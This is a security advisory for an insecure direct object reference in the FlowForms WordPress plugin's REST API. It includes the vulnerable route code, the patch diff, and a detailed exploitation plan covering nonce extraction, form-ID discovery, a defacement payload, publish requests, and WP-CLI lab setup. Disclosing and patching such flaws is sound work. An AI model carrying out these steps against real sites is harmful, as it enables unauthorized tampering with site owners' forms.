FlowForms <= 1.1.1 - Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Form Modification via REST API '/flowforms/v1/forms/{id}' Endpoints
Description
The FlowForms – Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.1 via the update_form due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to modify the content, design, and settings of, as well as publish or revert, any form on the site — including forms owned by administrators — by supplying an arbitrary form ID in the REST URL.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-12400 (FlowForms IDOR) ## 1. Vulnerability Summary The **FlowForms** plugin (<= 1.1.1) is vulnerable to an **Authenticated Insecure Direct Object Reference (IDOR)** within its REST API. Specifically, the `/flowforms/v1/forms/{id}` endpoints (and sub-endpoints …
Show full research plan
Exploitation Research Plan: CVE-2026-12400 (FlowForms IDOR)
1. Vulnerability Summary
The FlowForms plugin (<= 1.1.1) is vulnerable to an Authenticated Insecure Direct Object Reference (IDOR) within its REST API. Specifically, the /flowforms/v1/forms/{id} endpoints (and sub-endpoints like /publish and /revert) fail to verify if the authenticated user has permission to modify the specific form identified by {id}. While the permission_callback checks for the edit_posts capability (allowing Contributors and above), it does not implement any ownership or granular authorization checks. This allows a Contributor-level user to modify, publish, or revert forms created by Administrators.
2. Attack Vector Analysis
- Vulnerable Endpoints:
POST/PUT /wp-json/flowforms/v1/forms/(?P<id>\d+)(Callback:update_form)POST /wp-json/flowforms/v1/forms/(?P<id>\d+)/publish(Callback:publish_form)POST /wp-json/flowforms/v1/forms/(?P<id>\d+)/revert(Callback:revert_form)
- Authentication Requirement: Authenticated user with
edit_postscapability (Contributor, Author, Editor, or Admin). - Payload Parameter: The
{id}in the REST URL is the primary vector. The request body forupdate_formtypically contains form data (JSON). - Preconditions:
- The attacker must have a valid account with at least Contributor permissions.
- The attacker must know or guess the
idof the target form (Forms are stored as a custom post type, likelyflowforms).
3. Code Flow
- Registration: In
includes/class-rest-api.php, theregister_routesmethod defines the routes. - Authorization: The
permission_callbackfor the update/publish/revert routes is:fn() => current_user_can('edit_posts'). This returnstruefor any Contributor. - Callback Execution: When a request hits
/forms/{id}, theupdate_form($request)method is called. - Processing: The method extracts the
idfrom the request:$id = $request->get_param('id');. - Sink: It then proceeds to update the post content or metadata using the provided
$idwithout verifying ifget_post($id)->post_authormatches the current user.
4. Nonce Acquisition Strategy
Since this is a WordPress REST API exploit, the wp_rest nonce is required for any request using cookie authentication.
- Log in as the Contributor user using
browser_navigate. - Navigate to the WordPress Dashboard (
/wp-admin/). - Extract Nonce: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject.- JavaScript:
window.wpApiSettings?.nonce
- JavaScript:
- Usage: Include this nonce in the
X-WP-Nonceheader of all subsequenthttp_requestcalls.
5. Exploitation Strategy
This plan focuses on modifying an Admin's form using a Contributor account.
Step 1: Discover Target Form ID
The attacker can use the GET /wp-json/flowforms/v1/forms endpoint (also available to Contributors) to list all forms on the site and identify the ID of a form owned by an Admin.
Step 2: Perform the IDOR Update
Send a request to update the target form's content.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-json/flowforms/v1/forms/{TARGET_ID} - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Payload (JSON):
{ "form_data": { "content": { "welcomeScreen": { "title": "Hacked by Contributor", "description": "Your form has been modified." } } } }
Step 3: Publish the Change
To make the change live, trigger the publish endpoint.
- Method:
POST - URL:
http://localhost:8080/wp-json/flowforms/v1/forms/{TARGET_ID}/publish - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]
6. Test Data Setup
- Create Admin Form: Use WP-CLI to create a form owned by the Administrator.
# Create the FlowForm post type (assuming the slug is 'flowforms') wp post create --post_type=flowforms --post_title="Admin Secret Form" --post_status=publish --post_author=1 --post_content='{"content":{"published":{"welcomeScreen":{"title":"Original Title"}}},"design":{},"settings":{}}' - Identify Form ID: Note the ID of the created post.
- Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
7. Expected Results
- The
update_formrequest should return a200 OKresponse with the updated form object. - The
publish_formrequest should return a200 OK. - The form content in the database should now reflect the "Hacked by Contributor" payload.
8. Verification Steps
After the exploit, verify the change using WP-CLI:
# Check the post content of the Admin's form
wp post get {TARGET_ID} --field=post_content
If successful, the output will contain "title":"Hacked by Contributor".
9. Alternative Approaches
If the update_form logic requires a specific internal structure (checked via decode_slots and extract_design), the attacker can first perform a GET /wp-json/flowforms/v1/forms/{TARGET_ID} (as a Contributor) to obtain the existing structure, modify the JSON locally, and then send the POST request to update_form with the full modified object to ensure compatibility.
Summary
The FlowForms plugin for WordPress contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API endpoints. Authenticated users with Contributor-level permissions or higher can modify, publish, or revert any form on the site, regardless of ownership, because the API fails to verify if the user has permission to edit the specific form ID provided in the request.
Vulnerable Code
// includes/class-rest-api.php // Update form (builder auto-saves to draft slot) register_rest_route($ns, '/forms/(?P<id>\d+)', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_form'], 'permission_callback' => fn() => current_user_can('edit_posts'), ]); // Update form design — writes directly to published slot (and draft if exists) register_rest_route($ns, '/forms/(?P<id>\d+)/design', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_design'], 'permission_callback' => fn() => current_user_can('edit_posts'), ]); // ... (lines 72-90 similar for /settings, /publish, and /revert)
Security Fix
@@ -58,31 +58,41 @@ register_rest_route($ns, '/forms/(?P<id>\d+)', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_form'], - 'permission_callback' => fn() => current_user_can('edit_posts'), + 'permission_callback' => function($request) { + return current_user_can('edit_post', $request['id']); + }, ]); register_rest_route($ns, '/forms/(?P<id>\d+)/design', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_design'], - 'permission_callback' => fn() => current_user_can('edit_posts'), + 'permission_callback' => function($request) { + return current_user_can('edit_post', $request['id']); + }, ]); register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_settings'], - 'permission_callback' => fn() => current_user_can('edit_posts'), + 'permission_callback' => function($request) { + return current_user_can('edit_post', $request['id']); + }, ]); register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [ 'methods' => 'POST', 'callback' => [$this, 'publish_form'], - 'permission_callback' => fn() => current_user_can('edit_posts'), + 'permission_callback' => function($request) { + return current_user_can('edit_post', $request['id']); + }, ]); register_rest_route($ns, '/forms/(?P<id>\d+)/revert', [ 'methods' => 'POST', 'callback' => [$this, 'revert_form'], - 'permission_callback' => fn() => current_user_can('edit_posts'), + 'permission_callback' => function($request) { + return current_user_can('edit_post', $request['id']); + }, ]);
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Contributor-level user and obtains a valid WordPress REST API nonce from the dashboard. The attacker then identifies the ID of a target form (such as one created by an Administrator) by listing forms via the `GET /wp-json/flowforms/v1/forms` endpoint. Finally, the attacker sends a POST or PUT request to `/wp-json/flowforms/v1/forms/{id}` (or its sub-endpoints like `/publish`) with a modified JSON payload in the `form_data` body. Because the plugin only checks if the user has the general `edit_posts` capability rather than checking ownership of the specific form ID, the server processes the unauthorized modification.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.